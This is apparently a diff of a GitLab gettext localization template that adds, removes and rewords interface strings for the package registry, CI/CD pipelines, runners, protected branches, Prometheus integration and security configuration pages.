-msgid "NetworkPolicies|Something went wrong, unable to fetch policies"
+msgid "NetworkPolicies|Something went wrong, failed to update policy"
msgstr ""
-msgid "NetworkPolicies|Status"
+msgid "NetworkPolicies|Something went wrong, unable to fetch policies"
msgstr ""
msgid "NetworkPolicies|Traffic that does not match any rule will be blocked."
@@ -22132,9 +21823,6 @@ msgstr ""
msgid "New iteration"
msgstr ""
-msgid "New iteration cadence"
-msgstr ""
-
msgid "New iteration created"
msgstr ""
@@ -22153,7 +21841,7 @@ msgstr ""
msgid "New password"
msgstr ""
-msgid "New pipelines cause older pending pipelines on the same branch to be cancelled."
+msgid "New pipelines cause older pending or running pipelines on the same branch to be cancelled."
msgstr ""
msgid "New project"
@@ -22462,9 +22150,6 @@ msgstr ""
msgid "No repository"
msgstr ""
-msgid "No required pipeline"
-msgstr ""
-
msgid "No runner executable"
msgstr ""
@@ -22651,9 +22336,6 @@ msgstr ""
msgid "Nothing to preview."
msgstr ""
-msgid "Nothing to synchronize"
-msgstr ""
-
msgid "Notification events"
msgstr ""
@@ -22788,9 +22470,6 @@ msgstr ""
msgid "Nuget metadatum must have at least license_url, project_url or icon_url set"
msgstr ""
-msgid "Number of %{itemTitle}"
-msgstr ""
-
msgid "Number of Elasticsearch shards and replicas (per index)"
msgstr ""
@@ -23426,10 +23105,10 @@ msgstr ""
msgid "Package type must be RubyGems"
msgstr ""
-msgid "PackageRegistry|%{boldStart}Allow duplicates%{boldEnd} - Packages with the same name and version are accepted."
+msgid "PackageRegistry|%{boldStart}Allow duplicates%{boldEnd} - Accept packages with the same name and version."
msgstr ""
-msgid "PackageRegistry|%{boldStart}Do not allow duplicates%{boldEnd} - Packages with the same name and version are rejected."
+msgid "PackageRegistry|%{boldStart}Do not allow duplicates%{boldEnd} - Reject packages with the same name and version."
msgstr ""
msgid "PackageRegistry|%{name} version %{version} was first created %{datetime}"
@@ -23507,6 +23186,9 @@ msgstr ""
msgid "PackageRegistry|Copy Pip command"
msgstr ""
+msgid "PackageRegistry|Copy SHA"
+msgstr ""
+
msgid "PackageRegistry|Copy add Gradle Groovy DSL repository command"
msgstr ""
@@ -23537,6 +23219,12 @@ msgstr ""
msgid "PackageRegistry|Created by commit %{link} on branch %{branch}"
msgstr ""
+msgid "PackageRegistry|Debian"
+msgstr ""
+
+msgid "PackageRegistry|Delete Package File"
+msgstr ""
+
msgid "PackageRegistry|Delete Package Version"
msgstr ""
@@ -23561,9 +23249,6 @@ msgstr ""
msgid "PackageRegistry|Generic"
msgstr ""
-msgid "PackageRegistry|GitLab Packages allows organizations to utilize GitLab as a private repository for a variety of common package formats. %{linkStart}More Information%{linkEnd}"
-msgstr ""
-
msgid "PackageRegistry|Gradle Groovy DSL"
msgstr ""
@@ -23615,6 +23300,9 @@ msgstr ""
msgid "PackageRegistry|Package Registry"
msgstr ""
+msgid "PackageRegistry|Package file deleted successfully"
+msgstr ""
+
msgid "PackageRegistry|Package has %{number} archived update"
msgstr ""
@@ -23624,15 +23312,15 @@ msgstr ""
msgid "PackageRegistry|Package updated by commit %{link} on branch %{branch}, built by pipeline %{pipeline}, and published to the registry %{datetime}"
msgstr ""
-msgid "PackageRegistry|Packages can be published if their name or version matches this regex"
-msgstr ""
-
msgid "PackageRegistry|Pip Command"
msgstr ""
msgid "PackageRegistry|Publish and share packages for a variety of common package managers. %{docLinkStart}More information%{docLinkEnd}"
msgstr ""
+msgid "PackageRegistry|Publish packages if their name or version matches this regex."
+msgstr ""
+
msgid "PackageRegistry|Published to the %{project} Package Registry %{datetime}"
msgstr ""
@@ -23678,6 +23366,12 @@ msgstr ""
msgid "PackageRegistry|Show Yarn commands"
msgstr ""
+msgid "PackageRegistry|Something went wrong while deleting the package file."
+msgstr ""
+
+msgid "PackageRegistry|Something went wrong while deleting the package."
+msgstr ""
+
msgid "PackageRegistry|Sorry, your filter produced no results"
msgstr ""
@@ -23708,6 +23402,12 @@ msgstr ""
msgid "PackageRegistry|Unable to load package"
msgstr ""
+msgid "PackageRegistry|Use GitLab as a private registry for common package formats. %{linkStart}Learn more.%{linkEnd}"
+msgstr ""
+
+msgid "PackageRegistry|You are about to delete %{filename}. This is a destructive action that may render your package unusable. Are you sure?"
+msgstr ""
+
msgid "PackageRegistry|You are about to delete %{name}, this operation is irreversible, are you sure?"
msgstr ""
@@ -23900,9 +23600,6 @@ msgstr ""
msgid "Pause Elasticsearch indexing"
msgstr ""
-msgid "Pause replication"
-msgstr ""
-
msgid "Paused"
msgstr ""
@@ -24107,10 +23804,10 @@ msgstr ""
msgid "PipelineCharts|Total:"
msgstr ""
-msgid "PipelineEditorTutorial|A typical GitLab pipeline consists of three stages: build, test and deploy. Each stage can have one or more jobs."
+msgid "PipelineEditorTutorial|Browse %{linkStart}CI/CD examples and templates%{linkEnd}"
msgstr ""
-msgid "PipelineEditorTutorial|Browse %{linkStart}CI/CD examples and templates%{linkEnd}"
+msgid "PipelineEditorTutorial|Commit the file to your repository. The pipeline then runs automatically."
msgstr ""
msgid "PipelineEditorTutorial|Get started with GitLab CI/CD"
@@ -24122,9 +23819,6 @@ msgstr ""
msgid "PipelineEditorTutorial|If you’re using a self-managed GitLab instance, %{linkStart}make sure your instance has runners available.%{linkEnd}"
msgstr ""
-msgid "PipelineEditorTutorial|In the example below, %{codeStart}build%{codeEnd} and %{codeStart}deploy%{codeEnd} each contain one job, and %{codeStart}test%{codeEnd} contains two jobs. Your scripts run in jobs like these."
-msgstr ""
-
msgid "PipelineEditorTutorial|Learn more about %{linkStart}GitLab CI/CD concepts%{linkEnd}"
msgstr ""
@@ -24134,16 +23828,22 @@ msgstr ""
msgid "PipelineEditorTutorial|Resources to help with your CI/CD configuration:"
msgstr ""
+msgid "PipelineEditorTutorial|Select the pipeline ID to view the full details about your first pipeline run."
+msgstr ""
+
msgid "PipelineEditorTutorial|The pipeline stages and jobs are defined in a %{codeStart}.gitlab-ci.yml%{codeEnd} file. You can edit, visualize and validate the syntax in this file by using the Pipeline Editor."
msgstr ""
-msgid "PipelineEditorTutorial|Use the Visualize and Lint tabs in the Pipeline Editor to visualize your pipeline and check for any errors or warnings before committing your changes."
+msgid "PipelineEditorTutorial|The pipeline status is at the top of the page."
msgstr ""
-msgid "PipelineEditorTutorial|View %{linkStart}.gitlab-ci.yml syntax reference%{linkEnd}"
+msgid "PipelineEditorTutorial|This template creates a simple test pipeline. To use it:"
msgstr ""
-msgid "PipelineEditorTutorial|You can use %{linkStart}CI/CD examples and templates%{linkEnd} to get your first %{codeStart}.gitlab-ci.yml%{codeEnd} configuration file started. Your first pipeline runs when you commit the changes."
+msgid "PipelineEditorTutorial|Use the Visualize and Lint tabs in the Pipeline Editor to visualize your pipeline and check for any errors or warnings before committing your changes."
+msgstr ""
+
+msgid "PipelineEditorTutorial|View %{linkStart}.gitlab-ci.yml syntax reference%{linkEnd}"
msgstr ""
msgid "PipelineEditorTutorial|âš™ï¸ Pipeline configuration reference"
@@ -24263,10 +23963,10 @@ msgstr ""
msgid "Pipelines|Editor"
msgstr ""
-msgid "Pipelines|Get familiar with GitLab CI/CD syntax by starting with a simple pipeline that runs a “Hello world†script."
+msgid "Pipelines|Get familiar with GitLab CI/CD syntax by starting with a basic 3 stage CI/CD pipeline."
msgstr ""
-msgid "Pipelines|Get started with CI/CD"
+msgid "Pipelines|Get started with GitLab CI/CD"
msgstr ""
msgid "Pipelines|GitLab CI/CD can automatically build, test, and deploy your code. Let GitLab take care of time consuming tasks, so you can spend more time creating."
@@ -24284,12 +23984,18 @@ msgstr ""
msgid "Pipelines|Improve code quality with GitLab CI/CD"
msgstr ""
+msgid "Pipelines|Install GitLab Runners"
+msgstr ""
+
msgid "Pipelines|It is recommended the code is reviewed thoroughly before running this pipeline with the parent project's CI resource."
msgstr ""
msgid "Pipelines|Last Used"
msgstr ""
+msgid "Pipelines|Learn about Runners"
+msgstr ""
+
msgid "Pipelines|Lint"
msgstr ""
@@ -24401,9 +24107,6 @@ msgstr ""
msgid "Pipelines|parent"
msgstr ""
-msgid "Pipelines|“Hello world†with GitLab CI/CD"
-msgstr ""
-
msgid "Pipeline|Actions"
msgstr ""
@@ -24554,13 +24257,13 @@ msgstr ""
msgid "Pipeline|with stages"
msgstr ""
-msgid "PivotalTrackerService|Add commit messages as comments to PivotalTracker stories."
+msgid "PivotalTrackerService|Add commit messages as comments to Pivotal Tracker stories."
msgstr ""
-msgid "PivotalTrackerService|Comma-separated list of branches which will be automatically inspected. Leave blank to include all branches."
+msgid "PivotalTrackerService|Comma-separated list of branches to automatically inspect. Leave blank to include all branches."
msgstr ""
-msgid "PivotalTrackerService|Pivotal Tracker API token."
+msgid "PivotalTrackerService|Pivotal Tracker API token. User must have access to the story. All comments are attributed to this user."
msgstr ""
msgid "Plain diff"
@@ -24605,10 +24308,10 @@ msgstr ""
msgid "Please check the configuration file to ensure that it is available and the YAML is valid"
msgstr ""
-msgid "Please check your email (%{email}) to verify that you own this address and unlock the power of CI/CD. Didn't receive it? %{resend_link}. Wrong email address? %{update_link}."
+msgid "Please check your email %{email} to confirm your account"
msgstr ""
-msgid "Please check your email to confirm your account"
+msgid "Please check your email (%{email}) to verify that you own this address and unlock the power of CI/CD. Didn't receive it? %{resend_link}. Wrong email address? %{update_link}."
msgstr ""
msgid "Please choose a file"
@@ -24620,6 +24323,12 @@ msgstr ""
msgid "Please complete your profile with email address"
msgstr ""
+msgid "Please confirm your email address"
+msgstr ""
+
+msgid "Please contact an admin to register runners."
+msgstr ""
+
msgid "Please contact your GitLab administrator if you think this is an error."
msgstr ""
@@ -25232,6 +24941,9 @@ msgstr ""
msgid "Profiles|Enter your name, so people you know can recognize you"
msgstr ""
+msgid "Profiles|Enter your pronouns to let people know how to refer to you"
+msgstr ""
+
msgid "Profiles|Expired key is not valid."
msgstr ""
@@ -25517,9 +25229,6 @@ msgstr ""
msgid "Project Access Tokens"
msgstr ""
-msgid "Project Audit Events"
-msgstr ""
-
msgid "Project Badges"
msgstr ""
@@ -25547,6 +25256,9 @@ msgstr ""
msgid "Project and wiki repositories"
msgstr ""
+msgid "Project audit events"
+msgstr ""
+
msgid "Project avatar"
msgstr ""
@@ -25559,9 +25271,6 @@ msgstr ""
msgid "Project description (optional)"
msgstr ""
-msgid "Project details"
-msgstr ""
-
msgid "Project does not exist or you don't have permission to perform this action"
msgstr ""
@@ -25610,15 +25319,9 @@ msgstr ""
msgid "Project order will not be saved as local storage is not available."
msgstr ""
-msgid "Project overview"
-msgstr ""
-
msgid "Project path"
msgstr ""
-msgid "Project scanning help page"
-msgstr ""
-
msgid "Project security status"
msgstr ""
@@ -25667,9 +25370,6 @@ msgstr ""
msgid "ProjectLastActivity|Never"
msgstr ""
-msgid "ProjectLifecycle|Stage"
-msgstr ""
-
msgid "ProjectOverview|Fork"
msgstr ""
@@ -26285,9 +25985,6 @@ msgstr ""
msgid "ProjectsNew|Create blank project"
msgstr ""
-msgid "ProjectsNew|Create blank project/repository"
-msgstr ""
-
msgid "ProjectsNew|Create from template"
msgstr ""
@@ -26303,9 +26000,6 @@ msgstr ""
msgid "ProjectsNew|Import project"
msgstr ""
-msgid "ProjectsNew|Import project/repository"
-msgstr ""
-
msgid "ProjectsNew|Initialize repository with a README"
msgstr ""
@@ -26390,21 +26084,18 @@ msgstr ""
msgid "PrometheusService|Active"
msgstr ""
-msgid "PrometheusService|Auto configuration"
-msgstr ""
-
msgid "PrometheusService|Auto configuration settings are used unless you override their values here."
msgstr ""
-msgid "PrometheusService|Automatically deploy and configure Prometheus on your clusters to monitor your project’s environments."
-msgstr ""
-
msgid "PrometheusService|Common metrics"
msgstr ""
msgid "PrometheusService|Common metrics are automatically monitored based on a library of metrics from popular exporters."
msgstr ""
+msgid "PrometheusService|Configure GitLab to query a Prometheus installed in one of your clusters."
+msgstr ""
+
msgid "PrometheusService|Custom metrics"
msgstr ""
@@ -26420,18 +26111,9 @@ msgstr ""
msgid "PrometheusService|Finding custom metrics..."
msgstr ""
-msgid "PrometheusService|GitLab is managing Prometheus on your clusters."
-msgstr ""
-
-msgid "PrometheusService|GitLab manages Prometheus on your clusters."
-msgstr ""
-
msgid "PrometheusService|IAP_CLIENT_ID.apps.googleusercontent.com"
msgstr ""
-msgid "PrometheusService|Install Prometheus on clusters"
-msgstr ""
-
msgid "PrometheusService|Manage clusters"
msgstr ""
@@ -26447,9 +26129,6 @@ msgstr ""
msgid "PrometheusService|Monitor application health with Prometheus metrics and dashboards"
msgstr ""
-msgid "PrometheusService|Monitor your project’s environments by deploying and configuring Prometheus on your clusters."
-msgstr ""
-
msgid "PrometheusService|More information"
msgstr ""
@@ -26462,6 +26141,9 @@ msgstr ""
msgid "PrometheusService|No custom metrics have been created. Create one using the button above"
msgstr ""
+msgid "PrometheusService|Prometheus cluster integration"
+msgstr ""
+
msgid "PrometheusService|PrometheusService|The ID of the IAP-secured resource."
msgstr ""
@@ -26477,7 +26159,7 @@ msgstr ""
msgid "PrometheusService|These metrics will only be monitored after your first deployment to an environment"
msgstr ""
-msgid "PrometheusService|To enable the installation of Prometheus on your clusters, deactivate the manual configuration."
+msgid "PrometheusService|To use a Prometheus installed on a cluster, deactivate the manual configuration."
msgstr ""
msgid "PrometheusService|Waiting for your first deployment to an environment to find common metrics"
@@ -26486,6 +26168,9 @@ msgstr ""
msgid "PrometheusService|You can now manage your Prometheus settings on the %{operations_link_start}Operations%{operations_link_end} page. Fields on this page has been deprecated."
msgstr ""
+msgid "PrometheusService|You have a cluster with the Prometheus integration enabled."
+msgstr ""
+
msgid "PrometheusService|https://prometheus.example.com/"
msgstr ""
@@ -26495,9 +26180,6 @@ msgstr ""
msgid "Promote"
msgstr ""
-msgid "Promote confidential issue to a non-confidential epic"
-msgstr ""
-
msgid "Promote issue to an epic"
msgstr ""
@@ -26516,9 +26198,6 @@ msgstr ""
msgid "PromoteMilestone|Promotion failed - %{message}"
msgstr ""
-msgid "Promoted confidential issue to a non-confidential epic. Information in this issue is no longer confidential as epics are public to group members."
-msgstr ""
-
msgid "Promoted issue to an epic."
msgstr ""
@@ -26642,13 +26321,16 @@ msgstr ""
msgid "ProtectedBranch|%{wildcards_link_start}Wildcards%{wildcards_link_end} such as %{code_tag_start}*-stable%{code_tag_end} or %{code_tag_start}production/*%{code_tag_end} are supported."
msgstr ""
-msgid "ProtectedBranch|Allow force push"
+msgid "ProtectedBranch|Allow all users with push access to %{tag_start}force push%{tag_end}."
+msgstr ""
+
+msgid "ProtectedBranch|Allow all users with push access to force push."
msgstr ""
-msgid "ProtectedBranch|Allow force push for all users with push access."
+msgid "ProtectedBranch|Allowed to force push"
msgstr ""
-msgid "ProtectedBranch|Allow force push:"
+msgid "ProtectedBranch|Allowed to force push:"
msgstr ""
msgid "ProtectedBranch|Allowed to merge"
@@ -26669,12 +26351,21 @@ msgstr ""
msgid "ProtectedBranch|Branch:"
msgstr ""
+msgid "ProtectedBranch|By default, protected branches restrict who can modify the branch."
+msgstr ""
+
msgid "ProtectedBranch|Code owner approval"
msgstr ""
msgid "ProtectedBranch|Does not apply to users allowed to push. Optional sections are not enforced."
msgstr ""
+msgid "ProtectedBranch|Keep stable branches secure and force developers to use merge requests."
+msgstr ""
+
+msgid "ProtectedBranch|Learn more."
+msgstr ""
+
msgid "ProtectedBranch|Protect"
msgstr ""
@@ -26684,6 +26375,9 @@ msgstr ""
msgid "ProtectedBranch|Protected branch (%{protected_branches_count})"
msgstr ""
+msgid "ProtectedBranch|Protected branches"
+msgstr ""
+
msgid "ProtectedBranch|Reject code pushes that change files listed in the CODEOWNERS file."
msgstr ""
@@ -26693,12 +26387,15 @@ msgstr ""
msgid "ProtectedBranch|There are currently no protected branches, protect a branch with the form above."
msgstr ""
-msgid "ProtectedBranch|Toggle allow force push"
+msgid "ProtectedBranch|Toggle allowed to force push"
msgstr ""
msgid "ProtectedBranch|Toggle code owner approval"
msgstr ""
+msgid "ProtectedBranch|What are protected branches?"
+msgstr ""
+
msgid "ProtectedEnvironment|%{environment_name} will be writable for developers. Are you sure?"
msgstr ""
@@ -26744,18 +26441,30 @@ msgstr ""
msgid "ProtectedEnvironment|Your environment has been unprotected"
msgstr ""
-msgid "Protip: %{linkStart}Auto DevOps%{linkEnd} uses Kubernetes clusters to deploy your code!"
+msgid "ProtectedTag|By default, protected branches restrict who can modify the tag."
msgstr ""
-msgid "Protocol"
+msgid "ProtectedTag|Learn more."
msgstr ""
-msgid "Provide feedback"
+msgid "ProtectedTag|Limit access to creating and updating tags."
+msgstr ""
+
+msgid "ProtectedTag|Protected tags"
+msgstr ""
+
+msgid "ProtectedTag|What are protected tags?"
+msgstr ""
+
+msgid "Protip: %{linkStart}Auto DevOps%{linkEnd} uses Kubernetes clusters to deploy your code!"
msgstr ""
msgid "Provider"
msgstr ""
+msgid "Provision instructions"
+msgstr ""
+
msgid "Provisioned by:"
msgstr ""
@@ -27160,6 +26869,9 @@ msgstr ""
msgid "Register with two-factor app"
msgstr ""
+msgid "Registration Features include:"
+msgstr ""
+
msgid "Registration|Checkout"
msgstr ""
@@ -27187,6 +26899,9 @@ msgstr ""
msgid "Related Issues"
msgstr ""
+msgid "Related feature flags"
+msgstr ""
+
msgid "Related issues"
msgstr ""
@@ -27366,6 +27081,9 @@ msgstr ""
msgid "Remove limit"
msgstr ""
+msgid "Remove link"
+msgstr ""
+
msgid "Remove list"
msgstr ""
@@ -27381,15 +27099,9 @@ msgstr ""
msgid "Remove milestone"
msgstr ""
-msgid "Remove node"
-msgstr ""
-
msgid "Remove parent epic from an epic"
msgstr ""
-msgid "Remove primary node"
-msgstr ""
-
msgid "Remove priority"
msgstr ""
@@ -27405,9 +27117,6 @@ msgstr ""
msgid "Remove secondary email"
msgstr ""
-msgid "Remove secondary node"
-msgstr ""
-
msgid "Remove spent time"
msgstr ""
@@ -27555,15 +27264,18 @@ msgstr ""
msgid "Reopens this %{quick_action_target}."
msgstr ""
-msgid "Repair authentication"
+msgid "Replace"
msgstr ""
-msgid "Replace"
+msgid "Replace %{name}"
msgstr ""
msgid "Replace all label(s)"
msgstr ""
+msgid "Replace file"
+msgstr ""
+
msgid "Replaced all labels with %{label_references} %{label_text}."
msgstr ""
@@ -27573,15 +27285,6 @@ msgstr ""
msgid "Replication"
msgstr ""
-msgid "Replication details"
-msgstr ""
-
-msgid "Replication enabled"
-msgstr ""
-
-msgid "Replication paused"
-msgstr ""
-
msgid "Reply by email"
msgstr ""
@@ -27981,6 +27684,9 @@ msgstr[1] ""
msgid "Requires values to meet regular expression requirements."
msgstr ""
+msgid "Requires your primary GitLab email address."
+msgstr ""
+
msgid "Resend"
msgstr ""
@@ -28131,12 +27837,6 @@ msgstr ""
msgid "Resync"
msgstr ""
-msgid "Resync all"
-msgstr ""
-
-msgid "Resync all %{replicableType}"
-msgstr ""
-
msgid "Retry"
msgstr ""
@@ -28152,9 +27852,6 @@ msgstr ""
msgid "Retry this job in order to create the necessary resources."
msgstr ""
-msgid "Retry update"
-msgstr ""
-
msgid "Retry verification"
msgstr ""
@@ -28249,6 +27946,9 @@ msgstr ""
msgid "RightSidebar|deleting the"
msgstr ""
+msgid "Rnners|Don't see what you are looking for? See the full list of options, including a fully customizable option, %{linkStart}here%{linkEnd}."
+msgstr ""
+
msgid "Roadmap"
msgstr ""
@@ -28258,9 +27958,6 @@ msgstr ""
msgid "Rollback"
msgstr ""
-msgid "Rook"
-msgstr ""
-
msgid "Ruby"
msgstr ""
@@ -28327,12 +28024,21 @@ msgstr ""
msgid "Runners|Active"
msgstr ""
+msgid "Runners|Amazon Linux 2 Docker HA with manual scaling and optional scheduling. %{percentage} spot."
+msgstr ""
+
+msgid "Runners|Amazon Linux 2 Docker HA with manual scaling and optional scheduling. Non-spot. Default choice for Linux Docker executor."
+msgstr ""
+
msgid "Runners|An error has occurred fetching instructions"
msgstr ""
msgid "Runners|Architecture"
msgstr ""
+msgid "Runners|Are you sure you want to delete this runner?"
+msgstr ""
+
msgid "Runners|Can run untagged jobs"
msgstr ""
@@ -28342,6 +28048,9 @@ msgstr ""
msgid "Runners|Copy instructions"
msgstr ""
+msgid "Runners|Deploy GitLab Runner in AWS"
+msgstr ""
+
msgid "Runners|Description"
msgstr ""
@@ -28351,9 +28060,18 @@ msgstr ""
msgid "Runners|Download latest binary"
msgstr ""
+msgid "Runners|Enter the number of seconds. This timeout takes precedence over lower timeouts set for the project."
+msgstr ""
+
+msgid "Runners|For each solution, you will choose a capacity. 1 enables warm HA through Auto Scaling group re-spawn. 2 enables hot HA because the service is available even when a node is lost. 3 or more enables hot HA and manual scaling of runner fleet."
+msgstr ""
+
msgid "Runners|IP Address"
msgstr ""
+msgid "Runners|If you do not select an AWS VPC, the runner will deploy to the Default VPC in the AWS Region you select. Please consult with your AWS administrator to understand if there are any security risks to deploying into the Default VPC in any given region in your AWS account."
+msgstr ""
+
msgid "Runners|Install a runner"
msgstr ""
@@ -28366,9 +28084,15 @@ msgstr ""
msgid "Runners|Maximum job timeout"
msgstr ""
+msgid "Runners|Members of the %{type} can register runners"
+msgstr ""
+
msgid "Runners|Name"
msgstr ""
+msgid "Runners|New registration token generated!"
+msgstr ""
+
msgid "Runners|New runner, has not connected yet"
msgstr ""
@@ -28411,12 +28135,18 @@ msgstr ""
msgid "Runners|Runner is paused, last contact was %{runner_contact} ago"
msgstr ""
+msgid "Runners|Runner registration"
+msgstr ""
+
msgid "Runners|Shared runners are available to every project in a GitLab instance. If you want a runner to build only specific projects, restrict the project in the table below. After you restrict a runner to a project, you cannot change it back to a shared runner."
msgstr ""
msgid "Runners|Show Runner installation instructions"
msgstr ""
+msgid "Runners|Something went wrong while fetching the tags suggestions"
+msgstr ""
+
msgid "Runners|Tags"
msgstr ""
@@ -28447,6 +28177,12 @@ msgstr ""
msgid "Runners|View installation instructions"
msgstr ""
+msgid "Runners|Windows 2019 Shell with manual scaling and optional scheduling. %{percentage} spot."
+msgstr ""
+
+msgid "Runners|Windows 2019 Shell with manual scaling and optional scheduling. Non-spot. Default choice for Windows Shell executor."
+msgstr ""
+
msgid "Runners|You can set up a specific runner to be used by multiple projects but you cannot make this a shared runner."
msgstr ""
@@ -28525,6 +28261,12 @@ msgstr ""
msgid "SSH keys allow you to establish a secure connection between your computer and GitLab."
msgstr ""
+msgid "SSH keys with the following fingerprints are scheduled to expire soon. Expired SSH keys can not be used:"
+msgstr ""
+
+msgid "SSH keys with the following fingerprints have expired and can no longer be used:"
+msgstr ""
+
msgid "SSH public key"
msgstr ""
@@ -28576,10 +28318,7 @@ msgstr ""
msgid "Save pipeline schedule"
msgstr ""
-msgid "Save space and find images in the Container Registry. Remove unneeded tags and keep only the ones you want."
-msgstr ""
-
-msgid "Saved scan settings and target site settings which are reusable."
+msgid "Save space and find images in the container Registry. remove unneeded tags and keep only the ones you want. %{linkStart}How does cleanup work?%{linkEnd}"
msgstr ""
msgid "Saving"
@@ -28612,6 +28351,9 @@ msgstr ""
msgid "Scheduled a rebase of branch %{branch}."
msgstr ""
+msgid "Scheduled pipelines cannot run more frequently than once per %{limit} minutes. A pipeline configured to run more frequently only starts after %{limit} minutes have elapsed since the last time it ran."
+msgstr ""
+
msgid "Scheduled to merge this merge request (%{strategy})."
msgstr ""
@@ -28663,6 +28405,9 @@ msgstr ""
msgid "Search"
msgstr ""
+msgid "Search GitLab"
+msgstr ""
+
msgid "Search Jira issues"
msgstr ""
@@ -28747,9 +28492,6 @@ msgstr ""
msgid "Search or filter results…"
msgstr ""
-msgid "Search or jump to…"
-msgstr ""
-
msgid "Search project"
msgstr ""
@@ -28880,12 +28622,6 @@ msgstr[1] ""
msgid "Searching by both author and message is currently not supported."
msgstr ""
-msgid "Seat Link"
-msgstr ""
-
-msgid "Seat Link is disabled, and cannot be configured through this form."
-msgstr ""
-
msgid "SeatUsage|Seat usage"
msgstr ""
@@ -28952,6 +28688,9 @@ msgstr ""
msgid "SecurityConfiguration|%{featureName} merge request creation mutation failed"
msgstr ""
+msgid "SecurityConfiguration|%{scanType} configuration code snippet"
+msgstr ""
+
msgid "SecurityConfiguration|An error occurred while creating the merge request."
msgstr ""
@@ -28973,6 +28712,9 @@ msgstr ""
msgid "SecurityConfiguration|Configuration guide"
msgstr ""
+msgid "SecurityConfiguration|Configuration history"
+msgstr ""
+
msgid "SecurityConfiguration|Configure"
msgstr ""
@@ -28982,6 +28724,12 @@ msgstr ""
msgid "SecurityConfiguration|Configure via Merge Request"
msgstr ""
+msgid "SecurityConfiguration|Copy code and open .gitlab-ci.yml file"
+msgstr ""
+
+msgid "SecurityConfiguration|Copy code only"
+msgstr ""
+
msgid "SecurityConfiguration|Could not retrieve configuration data. Please refresh the page, or try again later."
msgstr ""
@@ -29006,9 +28754,18 @@ msgstr ""
msgid "SecurityConfiguration|Feature documentation for %{featureName}"
msgstr ""
+msgid "SecurityConfiguration|GitLab Ultimate checks your application for security vulnerabilities that may lead to unauthorized access, data leaks, and denial of service attacks. Its features include:"
+msgstr ""
+
+msgid "SecurityConfiguration|High-level vulnerability statistics across projects and groups."
+msgstr ""
+
msgid "SecurityConfiguration|Manage"
msgstr ""
+msgid "SecurityConfiguration|Manage profiles for use by DAST scans."
+msgstr ""
+
msgid "SecurityConfiguration|Manage scans"
msgstr ""
@@ -29018,12 +28775,21 @@ msgstr ""
msgid "SecurityConfiguration|Not enabled"
msgstr ""
+msgid "SecurityConfiguration|Once you've enabled a scan for the default branch, any subsequent feature branch you create will include the scan."
+msgstr ""
+
+msgid "SecurityConfiguration|Runtime security metrics for application environments."
+msgstr ""
+
msgid "SecurityConfiguration|SAST Analyzers"
msgstr ""
msgid "SecurityConfiguration|SAST Configuration"
msgstr ""
+msgid "SecurityConfiguration|Secure your project with Ultimate"
+msgstr ""
+
msgid "SecurityConfiguration|Security Control"
msgstr ""
@@ -29036,7 +28802,10 @@ msgstr ""
msgid "SecurityConfiguration|Testing & Compliance"
msgstr ""
-msgid "SecurityConfiguration|The status of the tools only applies to the default branch and is based on the %{linkStart}latest pipeline%{linkEnd}. Once you've enabled a scan for the default branch, any subsequent feature branch you create will include the scan."
+msgid "SecurityConfiguration|The status of the tools only applies to the default branch and is based on the %{linkStart}latest pipeline%{linkEnd}."
+msgstr ""
+
+msgid "SecurityConfiguration|Upgrade or start a free trial"
msgstr ""
msgid "SecurityConfiguration|Using custom settings. You won't receive automatic updates on this variable. %{anchorStart}Restore to default%{anchorEnd}"
@@ -29045,6 +28814,12 @@ msgstr ""
msgid "SecurityConfiguration|View history"
msgstr ""
+msgid "SecurityConfiguration|Vulnerability details and statistics in the merge request."
+msgstr ""
+
+msgid "SecurityConfiguration|With the information provided, you can immediately begin risk analysis and remediation within GitLab."
+msgstr ""
+
msgid "SecurityConfiguration|You can quickly enable all security scanning tools by enabling %{linkStart}Auto DevOps%{linkEnd}."
msgstr ""
@@ -29057,6 +28832,27 @@ msgstr ""
msgid "SecurityOrchestration|Security policy project"
msgstr ""
+msgid "SecurityPolicies|Description"
+msgstr ""
+
+msgid "SecurityPolicies|Enforcement status"
+msgstr ""
+
+msgid "SecurityPolicies|Latest scan"
+msgstr ""
+
+msgid "SecurityPolicies|Network"
+msgstr ""
+
+msgid "SecurityPolicies|Policy type"
+msgstr ""
+
+msgid "SecurityPolicies|Scan execution"
+msgstr ""
+
+msgid "SecurityPolicies|view results"
+msgstr ""
+
msgid "SecurityReports|%{firstProject} and %{secondProject}"
msgstr ""
@@ -29069,7 +28865,7 @@ msgstr ""
msgid "SecurityReports|Add projects"
msgstr ""
-msgid "SecurityReports|All"
+msgid "SecurityReports|All activity"
msgstr ""
msgid "SecurityReports|Although it's rare to have no vulnerabilities, it can happen. Check your settings to make sure you've set up your dashboard correctly."
@@ -29132,6 +28928,9 @@ msgstr ""
msgid "SecurityReports|Error fetching the vulnerability list. Please check your network connection and try again."
msgstr ""
+msgid "SecurityReports|Error parsing security reports"
+msgstr ""
+
msgid "SecurityReports|Failed to get security report information. Please reload the page or try again later."
msgstr ""
@@ -29237,6 +29036,9 @@ msgstr ""
msgid "SecurityReports|Take survey"
msgstr ""
+msgid "SecurityReports|The security reports below contain one or more vulnerability findings that could not be parsed and were not recorded. Download the artifacts in the job output to investigate. Ensure any security report created conforms to the relevant %{helpPageLinkStart}JSON schema%{helpPageLinkEnd}."
+msgstr ""
+
msgid "SecurityReports|There was an error adding the comment."
msgstr ""
@@ -29339,9 +29141,6 @@ msgstr ""
msgid "Select Page"
msgstr ""
-msgid "Select Stack"
-msgstr ""
-
msgid "Select a branch"
msgstr ""
@@ -29372,9 +29171,15 @@ msgstr ""
msgid "Select a repository"
msgstr ""
+msgid "Select a role"
+msgstr ""
+
msgid "Select a shared template repository for all projects on this instance."
msgstr ""
+msgid "Select a subgroup to use as a template when creating new projects in the group."
+msgstr ""
+
msgid "Select a template repository"
msgstr ""
@@ -29477,9 +29282,6 @@ msgstr ""
msgid "Select target branch"
msgstr ""
-msgid "Select the custom project template source group."
-msgstr ""
-
msgid "Select timezone"
msgstr ""
@@ -29573,7 +29375,7 @@ msgstr ""
msgid "Send report"
msgstr ""
-msgid "Send usage data"
+msgid "Send service data"
msgstr ""
msgid "Sentry API URL"
@@ -29612,10 +29414,10 @@ msgstr ""
msgid "Serverless platform"
msgstr ""
-msgid "ServerlessDetails|Function invocation metrics require Prometheus to be installed first."
+msgid "ServerlessDetails|Configure cluster."
msgstr ""
-msgid "ServerlessDetails|Install Prometheus"
+msgid "ServerlessDetails|Function invocation metrics require the Prometheus cluster integration."
msgstr ""
msgid "ServerlessDetails|Invocation metrics loading or not available at this time."
@@ -29657,9 +29459,6 @@ msgstr ""
msgid "Serverless|In order to start using functions as a service, you must first install Knative on your Kubernetes cluster. %{linkStart}More information%{linkEnd}"
msgstr ""
